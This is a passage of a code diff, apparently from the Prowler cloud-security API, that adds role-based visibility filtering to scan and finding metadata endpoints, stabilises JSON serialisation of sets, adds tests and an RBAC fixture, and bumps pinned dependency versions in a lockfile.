queryset = ResourceScanSummary.objects.filter(tenant_id=tenant_id)
|
||||
if not user_roles.unlimited_visibility:
|
||||
queryset = queryset.filter(
|
||||
scan_id__in=_scans_visible_to(user_roles, tenant_id).values_list(
|
||||
"id", flat=True
|
||||
)
|
||||
)
|
||||
|
||||
if scans := query_params.get("filter[scan__in]") or query_params.get(
|
||||
"filter[scan]"
|
||||
@@ -3623,7 +3641,10 @@ class ResourceViewSet(PaginateByPkMixin, BaseRLSViewSet):
|
||||
all_groups = Resource.objects.filter(
|
||||
tenant_id=tenant_id,
|
||||
groups__isnull=False,
|
||||
).values_list("groups", flat=True)
|
||||
)
|
||||
if not user_roles.unlimited_visibility:
|
||||
all_groups = all_groups.filter(provider__in=get_providers(user_roles))
|
||||
all_groups = all_groups.values_list("groups", flat=True)
|
||||
groups = sorted(
|
||||
{g for groups_list in all_groups if groups_list for g in groups_list}
|
||||
)
|
||||
@@ -3648,9 +3669,10 @@ class ResourceViewSet(PaginateByPkMixin, BaseRLSViewSet):
|
||||
def metadata_latest(self, request):
|
||||
tenant_id = request.tenant_id
|
||||
query_params = request.query_params
|
||||
user_roles = self.user_role
|
||||
|
||||
latest_scans_queryset = Scan.all_objects.filter(
|
||||
tenant_id=tenant_id
|
||||
latest_scans_queryset = _scans_visible_to(
|
||||
user_roles, tenant_id
|
||||
).latest_per_provider()
|
||||
|
||||
queryset = ResourceScanSummary.objects.filter(
|
||||
@@ -3691,7 +3713,10 @@ class ResourceViewSet(PaginateByPkMixin, BaseRLSViewSet):
|
||||
all_groups = Resource.objects.filter(
|
||||
tenant_id=tenant_id,
|
||||
groups__isnull=False,
|
||||
).values_list("groups", flat=True)
|
||||
)
|
||||
if not user_roles.unlimited_visibility:
|
||||
all_groups = all_groups.filter(provider__in=get_providers(user_roles))
|
||||
all_groups = all_groups.values_list("groups", flat=True)
|
||||
groups = sorted(
|
||||
{g for groups_list in all_groups if groups_list for g in groups_list}
|
||||
)
|
||||
@@ -4028,7 +4053,7 @@ class FindingViewSet(PaginateByPkMixin, BaseRLSViewSet):
|
||||
|
||||
def get_queryset(self):
|
||||
tenant_id = self.request.tenant_id
|
||||
user_roles = get_role(self.request.user, self.request.tenant_id)
|
||||
user_roles = self.user_role
|
||||
if user_roles.unlimited_visibility:
|
||||
# User has unlimited visibility, return all findings
|
||||
queryset = Finding.all_objects.filter(tenant_id=tenant_id)
|
||||
@@ -4102,8 +4127,16 @@ class FindingViewSet(PaginateByPkMixin, BaseRLSViewSet):
|
||||
|
||||
tenant_id = request.tenant_id
|
||||
query_params = request.query_params
|
||||
user_roles = self.user_role
|
||||
visible_scan_ids = (
|
||||
None
|
||||
if user_roles.unlimited_visibility
|
||||
else _scans_visible_to(user_roles, tenant_id).values_list("id", flat=True)
|
||||
)
|
||||
|
||||
queryset = ResourceScanSummary.objects.filter(tenant_id=tenant_id)
|
||||
if not user_roles.unlimited_visibility:
|
||||
queryset = queryset.filter(scan_id__in=visible_scan_ids)
|
||||
scan_based_filters = {}
|
||||
category_scan_filters = {} # Filters for ScanCategorySummary
|
||||
|
||||
@@ -4161,7 +4194,10 @@ class FindingViewSet(PaginateByPkMixin, BaseRLSViewSet):
|
||||
if not queryset.exists():
|
||||
raw_scans_ids = Scan.objects.filter(
|
||||
tenant_id=tenant_id, **scan_based_filters
|
||||
).values_list("id", "unique_resource_count")
|
||||
)
|
||||
if not user_roles.unlimited_visibility:
|
||||
raw_scans_ids = raw_scans_ids.filter(id__in=visible_scan_ids)
|
||||
raw_scans_ids = raw_scans_ids.values_list("id", "unique_resource_count")
|
||||
scan_ids = [
|
||||
scan_id for scan_id, count in raw_scans_ids if count and count > 0
|
||||
]
|
||||
@@ -4203,11 +4239,13 @@ class FindingViewSet(PaginateByPkMixin, BaseRLSViewSet):
|
||||
)
|
||||
|
||||
# Get categories from ScanCategorySummary using same scan filters
|
||||
category_summaries = ScanCategorySummary.objects.filter(
|
||||
tenant_id=tenant_id, **category_scan_filters
|
||||
)
|
||||
if not user_roles.unlimited_visibility:
|
||||
category_summaries = category_summaries.filter(scan_id__in=visible_scan_ids)
|
||||
categories = list(
|
||||
ScanCategorySummary.objects.filter(
|
||||
tenant_id=tenant_id, **category_scan_filters
|
||||
)
|
||||
.values_list("category", flat=True)
|
||||
category_summaries.values_list("category", flat=True)
|
||||
.distinct()
|
||||
.order_by("category")
|
||||
)
|
||||
@@ -4262,9 +4300,10 @@ class FindingViewSet(PaginateByPkMixin, BaseRLSViewSet):
|
||||
def metadata_latest(self, request):
|
||||
tenant_id = request.tenant_id
|
||||
query_params = request.query_params
|
||||
user_roles = self.user_role
|
||||
|
||||
latest_scans_queryset = Scan.all_objects.filter(
|
||||
tenant_id=tenant_id
|
||||
latest_scans_queryset = _scans_visible_to(
|
||||
user_roles, tenant_id
|
||||
).latest_per_provider()
|
||||
raw_latest_scans_ids = list(
|
||||
latest_scans_queryset.values_list("id", "unique_resource_count")
|
||||
|
||||
@@ -443,6 +443,47 @@ def authenticated_client_rbac_manage_users_only(
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture(scope="function")
|
||||
def create_test_user_rbac_manage_integrations_only(django_db_setup, django_db_blocker):
|
||||
"""User with only manage_integrations permission (no manage_account)."""
|
||||
with django_db_blocker.unblock():
|
||||
user = User.objects.create_user(
|
||||
name="testing_manage_integrations_only",
|
||||
email="rbac_manage_integrations_only@rbac.com",
|
||||
password=TEST_PASSWORD,
|
||||
)
|
||||
tenant = Tenant.objects.create(name="Tenant Test Manage Integrations Only")
|
||||
Membership.objects.create(
|
||||
user=user,
|
||||
tenant=tenant,
|
||||
role=Membership.RoleChoices.OWNER,
|
||||
)
|
||||
role = Role.objects.create(
|
||||
name="manage_integrations_only",
|
||||
tenant_id=tenant.id,
|
||||
manage_users=False,
|
||||
manage_account=False,
|
||||
manage_billing=False,
|
||||
manage_providers=False,
|
||||
manage_integrations=True,
|
||||
manage_scans=False,
|
||||
unlimited_visibility=False,
|
||||
)
|
||||
UserRoleRelationship.objects.create(user=user, role=role, tenant_id=tenant.id)
|
||||
return user
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def authenticated_client_rbac_manage_integrations_only(
|
||||
create_test_user_rbac_manage_integrations_only, client
|
||||
):
|
||||
return authenticate_client_for_tenant(
|
||||
client,
|
||||
create_test_user_rbac_manage_integrations_only,
|
||||
first_membership_tenant(create_test_user_rbac_manage_integrations_only),
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def authenticated_client_rbac(create_test_user_rbac, tenants_fixture, client):
|
||||
return authenticate_client_for_tenant(
|
||||
|
||||
@@ -997,11 +997,12 @@ def _process_finding_micro_batch(
|
||||
snapshot_resource_fields(resource_uid, resource_instance)
|
||||
resource_instance.type = finding.resource_type
|
||||
updated = True
|
||||
if resource_instance.metadata != finding.resource_metadata:
|
||||
serialized_metadata = json.dumps(
|
||||
finding.resource_metadata, cls=CustomEncoder
|
||||
)
|
||||
if resource_instance.metadata != serialized_metadata:
|
||||
snapshot_resource_fields(resource_uid, resource_instance)
|
||||
resource_instance.metadata = json.dumps(
|
||||
finding.resource_metadata, cls=CustomEncoder
|
||||
)
|
||||
resource_instance.metadata = serialized_metadata
|
||||
updated = True
|
||||
if resource_instance.details != finding.resource_details:
|
||||
snapshot_resource_fields(resource_uid, resource_instance)
|
||||
|
||||
@@ -897,8 +897,12 @@ def generate_outputs_task(scan_id: str, provider_id: str, tenant_id: str):
|
||||
)
|
||||
with rls_transaction(tenant_id, using=READ_REPLICA_ALIAS):
|
||||
for batch, is_last in batched(qs, DJANGO_FINDINGS_BATCH_SIZE):
|
||||
metadata_cache = {}
|
||||
fos = [
|
||||
FindingOutput.transform_api_finding(f, prowler_provider) for f in batch
|
||||
FindingOutput.transform_api_finding(
|
||||
f, prowler_provider, metadata_cache=metadata_cache
|
||||
)
|
||||
for f in batch
|
||||
]
|
||||
|
||||
# Outputs
|
||||
@@ -979,6 +983,8 @@ def generate_outputs_task(scan_id: str, provider_id: str, tenant_id: str):
|
||||
writer.batch_write_data_to_file()
|
||||
writer._data.clear()
|
||||
|
||||
del fos, metadata_cache
|
||||
|
||||
compressed = _compress_output_files(out_dir)
|
||||
|
||||
upload_uri = _upload_to_s3(
|
||||
|
||||
@@ -2349,6 +2349,78 @@ class TestProcessFindingMicroBatch:
|
||||
assert resource_cache[finding.resource_uid].service == finding.service_name
|
||||
assert tag_cache.keys() == {("team", "devsec")}
|
||||
|
||||
def test_process_finding_micro_batch_skips_unchanged_resource(
|
||||
self, tenants_fixture, scans_fixture
|
||||
):
|
||||
tenant = tenants_fixture[0]
|
||||
scan = scans_fixture[0]
|
||||
provider = scan.provider
|
||||
|
||||
resource_metadata = {"owner": "platform", "ports": [22, 443]}
|
||||
existing_resource = Resource.objects.create(
|
||||
tenant_id=tenant.id,
|
||||
provider=provider,
|
||||
uid="arn:aws:ec2:us-east-1:123456789012:instance/i-001",
|
||||
name="i-001",
|
||||
region="us-east-1",
|
||||
service="ec2",
|
||||
type="instance",
|
||||
metadata=json.dumps(resource_metadata, cls=CustomEncoder),
|
||||
details="details",
|
||||
partition="aws",
|
||||
)
|
||||
|
||||
finding = FakeFinding(
|
||||
uid="finding-unchanged",
|
||||
status=StatusChoices.PASS,
|
||||
status_extended="passing",
|
||||
severity=Severity.low,
|
||||
check_id="ec2_public_instance",
|
||||
resource_uid=existing_resource.uid,
|
||||
resource_name=existing_resource.name,
|
||||
region=existing_resource.region,
|
||||
service_name=existing_resource.service,
|
||||
resource_type=existing_resource.type,
|
||||
resource_tags={},
|
||||
resource_metadata=resource_metadata,
|
||||
resource_details=existing_resource.details,
|
||||
partition=existing_resource.partition,
|
||||
raw={"status": "PASS"},
|
||||
compliance={},
|
||||
metadata={"source": "prowler"},
|
||||
muted=False,
|
||||
)
|
||||
|
||||
with (
|
||||
patch("tasks.jobs.scan.rls_transaction", new=noop_rls_transaction),
|
||||
patch("api.db_utils.rls_transaction", new=noop_rls_transaction),
|
||||
patch(
|
||||
"tasks.jobs.scan.Resource.objects.bulk_update",
|
||||
wraps=Resource.objects.bulk_update,
|
||||
) as bulk_update,
|
||||
):
|
||||
_process_finding_micro_batch(
|
||||
str(tenant.id),
|
||||
[finding],
|
||||
scan,
|
||||
provider,
|
||||
{existing_resource.uid: existing_resource},
|
||||
{},
|
||||
{},
|
||||
{existing_resource.uid: 0},
|
||||
set(),
|
||||
set(),
|
||||
{},
|
||||
{},
|
||||
{},
|
||||
{},
|
||||
)
|
||||
|
||||
bulk_update.assert_not_called()
|
||||
assert Finding.objects.filter(
|
||||
tenant_id=tenant.id, scan_id=scan.id, uid=finding.uid
|
||||
).exists()
|
||||
|
||||
def test_process_finding_micro_batch_refreshes_empty_resource_name(
|
||||
self, tenants_fixture, scans_fixture
|
||||
):
|
||||
|
||||
@@ -742,7 +742,7 @@ class TestGenerateOutputs:
|
||||
patch("tasks.tasks.FindingOutput._transform_findings_stats"),
|
||||
patch(
|
||||
"tasks.tasks.FindingOutput.transform_api_finding",
|
||||
side_effect=lambda f, _prov: f,
|
||||
side_effect=lambda f, _prov, **_kw: f,
|
||||
),
|
||||
patch("tasks.tasks._compress_output_files", return_value="outdir.zip"),
|
||||
patch("tasks.tasks._upload_to_s3", return_value="s3://bucket/outdir.zip"),
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
import json
|
||||
from datetime import UTC, datetime, timedelta
|
||||
from unittest.mock import patch
|
||||
|
||||
import pytest
|
||||
from django_celery_beat.models import IntervalSchedule, PeriodicTask
|
||||
from django_celery_results.models import TaskResult
|
||||
from tasks.utils import batched, get_next_execution_datetime
|
||||
from tasks.utils import CustomEncoder, batched, get_next_execution_datetime
|
||||
|
||||
|
||||
@pytest.mark.django_db
|
||||
@@ -100,3 +101,18 @@ class TestBatchedFunction:
|
||||
result = list(batched([1, 2, 3], 5))
|
||||
expected = [([1, 2, 3], True)]
|
||||
assert result == expected
|
||||
|
||||
|
||||
class TestCustomEncoder:
|
||||
def test_set_serialized_in_stable_order(self):
|
||||
zones = {"us-east-1d", "us-east-1a", "us-east-1c", "us-east-1b"}
|
||||
|
||||
assert json.dumps({"zones": zones}, cls=CustomEncoder) == json.dumps(
|
||||
{"zones": "{'us-east-1a', 'us-east-1b', 'us-east-1c', 'us-east-1d'}"}
|
||||
)
|
||||
|
||||
def test_empty_set_keeps_str_representation(self):
|
||||
assert json.dumps(set(), cls=CustomEncoder) == json.dumps("set()")
|
||||
|
||||
def test_frozenset_serialized_like_set(self):
|
||||
assert json.dumps(frozenset({2, 1}), cls=CustomEncoder) == json.dumps("{1, 2}")
|
||||
@@ -19,6 +19,11 @@ class CustomEncoder(json.JSONEncoder):
|
||||
return o.isoformat(timespec="seconds")
|
||||
if isinstance(o, timedelta):
|
||||
return o.total_seconds()
|
||||
# Same representation as str(set), with a stable order across processes
|
||||
if isinstance(o, (set, frozenset)):
|
||||
if not o:
|
||||
return "set()"
|
||||
return "{" + ", ".join(repr(item) for item in sorted(o, key=repr)) + "}"
|
||||
|
||||
# Custom object serialization
|
||||
try:
|
||||
|
||||
Generated
+155
-147
@@ -16,7 +16,7 @@ constraints = [
|
||||
{ name = "aiobotocore", specifier = "==2.25.1" },
|
||||
{ name = "aiofiles", specifier = "==24.1.0" },
|
||||
{ name = "aiohappyeyeballs", specifier = "==2.6.1" },
|
||||
{ name = "aiohttp", specifier = "==3.14.3" },
|
||||
{ name = "aiohttp", specifier = "==3.14.5" },
|
||||
{ name = "aioitertools", specifier = "==0.13.0" },
|
||||
{ name = "aiosignal", specifier = "==1.4.0" },
|
||||
{ name = "alibabacloud-actiontrail20200706", specifier = "==2.4.1" },
|
||||
@@ -112,7 +112,7 @@ constraints = [
|
||||
{ name = "botocore", specifier = "==1.40.61" },
|
||||
{ name = "cartography", specifier = "==0.138.1" },
|
||||
{ name = "celery", specifier = "==5.6.2" },
|
||||
{ name = "certifi", specifier = "==2026.1.4" },
|
||||
{ name = "certifi", specifier = "==2026.10.19" },
|
||||
{ name = "cffi", specifier = "==2.0.0" },
|
||||
{ name = "charset-normalizer", specifier = "==3.4.4" },
|
||||
{ name = "circuitbreaker", specifier = "==2.1.3" },
|
||||
@@ -139,7 +139,7 @@ constraints = [
|
||||
{ name = "distro", specifier = "==1.9.0" },
|
||||
{ name = "dj-rest-auth", specifier = "==7.0.1" },
|
||||
{ name = "django", specifier = "==5.2.17" },
|
||||
{ name = "django-allauth", specifier = "==65.15.0" },
|
||||
{ name = "django-allauth", specifier = "==65.19.7" },
|
||||
{ name = "django-celery-beat", specifier = "==2.9.0" },
|
||||
{ name = "django-celery-results", specifier = "==2.6.0" },
|
||||
{ name = "django-cors-headers", specifier = "==4.4.0" },
|
||||
@@ -150,10 +150,10 @@ constraints = [
|
||||
{ name = "django-postgres-extra", specifier = "==2.0.9" },
|
||||
{ name = "django-silk", specifier = "==5.3.2" },
|
||||
{ name = "django-timezone-field", specifier = "==7.2.1" },
|
||||
{ name = "djangorestframework", specifier = "==3.15.2" },
|
||||
{ name = "djangorestframework", specifier = "==3.18.3" },
|
||||
{ name = "djangorestframework-jsonapi", specifier = "==7.0.2" },
|
||||
{ name = "djangorestframework-simplejwt", specifier = "==5.5.1" },
|
||||
{ name = "dnspython", specifier = "==2.8.0" },
|
||||
{ name = "dnspython", specifier = "==2.9.0" },
|
||||
{ name = "docker", specifier = "==7.1.0" },
|
||||
{ name = "dogpile-cache", specifier = "==1.5.0" },
|
||||
{ name = "dparse", specifier = "==0.6.4" },
|
||||
@@ -253,7 +253,7 @@ constraints = [
|
||||
{ name = "nest-asyncio", specifier = "==1.6.0" },
|
||||
{ name = "nltk", specifier = "==3.9.4" },
|
||||
{ name = "numpy", specifier = "==2.2.6" },
|
||||
{ name = "oauthlib", specifier = "==3.3.1" },
|
||||
{ name = "oauthlib", specifier = "==4.0.0" },
|
||||
{ name = "oci", specifier = "==2.184.1" },
|
||||
{ name = "openai", specifier = "==1.109.1" },
|
||||
{ name = "openstacksdk", specifier = "==4.2.0" },
|
||||
@@ -266,7 +266,7 @@ constraints = [
|
||||
{ name = "pagerduty", specifier = "==6.1.0" },
|
||||
{ name = "pandas", specifier = "==2.2.3" },
|
||||
{ name = "pbr", specifier = "==7.0.3" },
|
||||
{ name = "pillow", specifier = "==12.3.0" },
|
||||
{ name = "pillow", specifier = "==13.0.0" },
|
||||
{ name = "pkginfo", specifier = "==1.12.1.2" },
|
||||
{ name = "platformdirs", specifier = "==4.5.1" },
|
||||
{ name = "plotly", specifier = "==6.5.2" },
|
||||
@@ -369,7 +369,7 @@ constraints = [
|
||||
{ name = "xlsxwriter", specifier = "==3.2.9" },
|
||||
{ name = "xmlsec", specifier = "==1.3.17" },
|
||||
{ name = "xmltodict", specifier = "==1.0.2" },
|
||||
{ name = "yarl", specifier = "==1.22.0" },
|
||||
{ name = "yarl", specifier = "==1.25.1" },
|
||||
{ name = "zipp", specifier = "==3.23.0" },
|
||||
{ name = "zope-event", specifier = "==6.1" },
|
||||
{ name = "zope-interface", specifier = "==8.2" },
|
||||
@@ -388,7 +388,7 @@ overrides = [
|
||||
{ name = "microsoft-kiota-serialization-text", specifier = "==1.9.10" },
|
||||
{ name = "okta", specifier = "==3.4.2" },
|
||||
{ name = "pyjwt", extras = ["crypto"], specifier = "==2.14.0" },
|
||||
{ name = "pymongo", specifier = "==4.18.2" },
|
||||
{ name = "pymongo", specifier = "==4.18.3" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -480,7 +480,7 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "aiohttp"
|
||||
version = "3.14.3"
|
||||
version = "3.14.5"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "aiohappyeyeballs" },
|
||||
@@ -492,44 +492,45 @@ dependencies = [
|
||||
{ name = "typing-extensions" },
|
||||
{ name = "yarl" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/58/d9/22ce5786ac0c1653ae8b6c23bded02c1686d11f0dbb45b31ce128e0df985/aiohttp-3.14.3.tar.gz", hash = "sha256:9491196535a88924a60afd5b5f434b5b203b6cc616250878dbdb223a8f7844bc", size = 7971213, upload-time = "2026-07-23T01:57:27.037Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/6c/4c/bdccd81e9ee225b69c60e7766c9a5b05364f118f4d383713b89a682d772d/aiohttp-3.14.5.tar.gz", hash = "sha256:5558a7f5a05af9ecf744af91e5baefc436f93c9333e656c27ec253f9a6bbe178", size = 8078052, upload-time = "2026-10-11T01:05:12.408Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/f8/5c/b3e4ff8ad43a8afef9602c5e90285936da1beaea8b029016b793891f03c3/aiohttp-3.14.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e568e14940c09955aa51f4e645b6daa18a581c5dcfcd73744dcc86a856e3ced3", size = 764250, upload-time = "2026-07-23T01:52:48.525Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0e/da/f1b384465e51449d844056b75070461da03a9a23e6c1747003695bf4172a/aiohttp-3.14.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:54cfcdee2770dac994417cbb0ee1f3eb0e7cb6b30c79bf44f2c02ff79ec5124a", size = 516281, upload-time = "2026-07-23T01:52:51.047Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b9/3f/01264f820ee2e3712a827892b1cd6ff80f3300c1fcbffbb45714a915d47a/aiohttp-3.14.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:21c016079415ed3fd676963e9793700a566d85dbbd6bfc564b9b2d209147dcc8", size = 514742, upload-time = "2026-07-23T01:52:53.779Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/9e/8d/a71c6f2db52ac1ed142b133f7feddaa6b70539c3f4de24d7e226c95b794c/aiohttp-3.14.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d6088ec9894113802bddb3c09e974929aed2c7b3a8c456219b8aab4481f1a239", size = 1780613, upload-time = "2026-07-23T01:52:56.948Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a5/11/3dd9b3fb3a170f6ec9011b5291d876a6fab4086714c9e158600edf01b4fd/aiohttp-3.14.3-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:16ea7e24c309fb7c0bbd505d149abe4fe4dccfb8db911db7dbec0921bc889a6f", size = 1737688, upload-time = "2026-07-23T01:52:59.294Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6d/3e/834c26918be7d88068822b40e0db30fca50b5f4fe79104aa16a93f1d74e6/aiohttp-3.14.3-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:56f355e79f71aef2a85c80305cc915f894b170dba76de5fe84f6351939b83c06", size = 1845742, upload-time = "2026-07-23T01:53:01.641Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/cc/c9/49ab8572df7d66bc13d11e31f781292badb04180dd87ba98733066c6aed7/aiohttp-3.14.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:18c441d0a8fca6de8d1f546849b9f0ab20d435993e2c5b59562b2fae6be2f929", size = 1928412, upload-time = "2026-07-23T01:53:04.018Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a5/b9/2b8f0c0ce09c87a1daf80fd483431b56b1435d3f62789bc86f572e1245de/aiohttp-3.14.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:53e7b4ce82b54a8bcc71b3b67a5cbd177ca1d7f592cbc92cd38b7349f73482db", size = 1786220, upload-time = "2026-07-23T01:53:06.481Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/85/00/9c45f81de11710460edfa1dc81317b6e882703b160926c879a9d20da9fcc/aiohttp-3.14.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f55119f7bf25f49ed210f6096090715da24f2943c62102448915fde3c62877ce", size = 1637231, upload-time = "2026-07-23T01:53:10.258Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/19/ce/967d628e910756f3539c6107cb7844a1b69440dcb3029a5ee7871b09ab63/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:9aa6e61fdf20105c4144e755bd586008ff450791d67b1c8146fdc15959c4d51c", size = 1753161, upload-time = "2026-07-23T01:53:13.817Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/11/b2/0c3d4114f0aee4f580f5b3b4eb71b24d7a23b834ea506a4dfebe76513f35/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:ccd4893707b3e2a13e39c90d43cf80edf2e4d0457935bcc103bf2346214c3f15", size = 1756356, upload-time = "2026-07-23T01:53:16.211Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/63/5d/99e7d91c82f1399d1ae2a854e080bd1493fbc31e5e959dbc4ec33dac3bec/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:b2466434105a4e03113c36ec775cc2ebe6676b62eae326fa670bb607ef788c1c", size = 1819846, upload-time = "2026-07-23T01:53:18.289Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ad/05/d5e1cb6480eeffd3f901d40a2c5e2d1e7effdc797837da3b490272699f13/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:ba59d59aba08ac02fc03b0c8983ccd5ee39a199d0552ce9e6d2b4845b34d59ae", size = 1628531, upload-time = "2026-07-23T01:53:23.86Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c9/90/b934682bcaefae18a9e04f3dff5b68522ba810906358ae5029b68110ea3b/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:ed099d105449c4f9e84f24af203cd131349d4761d8813fa7e02c32e7128cd910", size = 1832712, upload-time = "2026-07-23T01:53:27.551Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/21/df/6061679faaf81fac746e7307c7adb71e858071a5d34c27583afefc64f543/aiohttp-3.14.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:152516815ef926786a0b6ae2b8f1fd2e0c71582dee0b435636865316fd4891b7", size = 1775014, upload-time = "2026-07-23T01:53:30.223Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8a/1d/f854878bbc69b88faefe924b619a34a6f59ec05fd387c77690667eaa75eb/aiohttp-3.14.3-cp311-cp311-win32.whl", hash = "sha256:a4af35c443e0b1a1bd6a8af3f3485d7fda15c142751a00f3ff8090f0b93346fa", size = 456006, upload-time = "2026-07-23T01:53:34.97Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/73/0c/2af9d1674baccd1dbd47282a93d660a22e57ef6167c856deb24b4214fbab/aiohttp-3.14.3-cp311-cp311-win_amd64.whl", hash = "sha256:e1e74298bab6ee0d6e749ed4fd1901c7e604bdda32c03d787a2cc71c46d0433d", size = 481069, upload-time = "2026-07-23T01:53:39.673Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8e/76/88401ff3fc95e85c5fc38d588f36f55e61ecb64343b2bc8d69326f453cc0/aiohttp-3.14.3-cp311-cp311-win_arm64.whl", hash = "sha256:03cd2bde3d7f085b64e549c985f4bb928cad7e8ecf5323bfca320db548d81b39", size = 453021, upload-time = "2026-07-23T01:53:43.749Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/18/d4/eb96299230e20acf2efae207cb8d69051f1f68e357e5ea5e479bf6fb097a/aiohttp-3.14.3-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:39aded8c7f3b935b54aab1d8d73c70ec0ee2d3ec3b943e0e86611bc150ba47f5", size = 754690, upload-time = "2026-07-23T01:53:47.332Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/88/11/e7a70a209eb9a067c0d3212b518a0134e3484f5178c7533878b6b514d469/aiohttp-3.14.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:5bcb6ff3fdab1258a192679ff1a05d44f59626430aa05cd1a9d2447423599228", size = 509484, upload-time = "2026-07-23T01:53:51.159Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/30/07/4bbc222cc8dbe31d4c3e8a5baad2286e4d42026ac0c570027b89afce6344/aiohttp-3.14.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:617105e2c3018ee38d0c8ce5ee3c84f621a6d8b9f723202aacaff28449ca91ee", size = 511949, upload-time = "2026-07-23T01:53:55.083Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/54/b9/42e74c46b7b7c794b995bbc1f573fb48950c38b19d8600c62a6804ee2d67/aiohttp-3.14.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f631fe87a6f30df5fbe6d79640b25e4cffb38c31c7fb6f10871517b84b0f8c1a", size = 1765282, upload-time = "2026-07-23T01:53:59.662Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6b/ed/62bc4d74363ad346d518e0720363a949f63e2e23439a79eb5813d4d29bb3/aiohttp-3.14.3-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a94dbaae5ae27bd849c93570669bff91e0510f33a80805738e3de72a7be0447b", size = 1741511, upload-time = "2026-07-23T01:54:04.063Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d0/9f/181e8a8bc79e47d13c7fc4540bd7a3b729d9505609c61f392a8dd2fbfe55/aiohttp-3.14.3-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8f2f1c4c032c7cedd7d8da6f54c97b70266c6570c3108d3fdffee7188bb70529", size = 1810680, upload-time = "2026-07-23T01:54:09.882Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5c/9a/dec94d6ad694552fe3424e3f1928d7a606a5d9d9433a04e7ecdd9d38ae7f/aiohttp-3.14.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ea05e1f97ceea523942d9b2a7d7c0359d781d683d6b043f5943a602b14da4787", size = 1905646, upload-time = "2026-07-23T01:54:13.475Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/52/b7/7cd31f29d6055bd711ae6e669367fba6f5ae9de463910a793e30556a8db7/aiohttp-3.14.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:543906c127fb1d929b95076db19b83fa2d46751006ff1e23b093aa5ac4d8db42", size = 1792122, upload-time = "2026-07-23T01:54:15.752Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/66/73/10b1ef93afa61f4963c746257b70ced619cf31a4798671de5fdb2608501d/aiohttp-3.14.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0a5ff2dfbb9ce645fa5b8ef3e02c6c0b9cc3f6030ff863d0c51fffc50cb5541b", size = 1591127, upload-time = "2026-07-23T01:54:19.489Z" },
|
||||
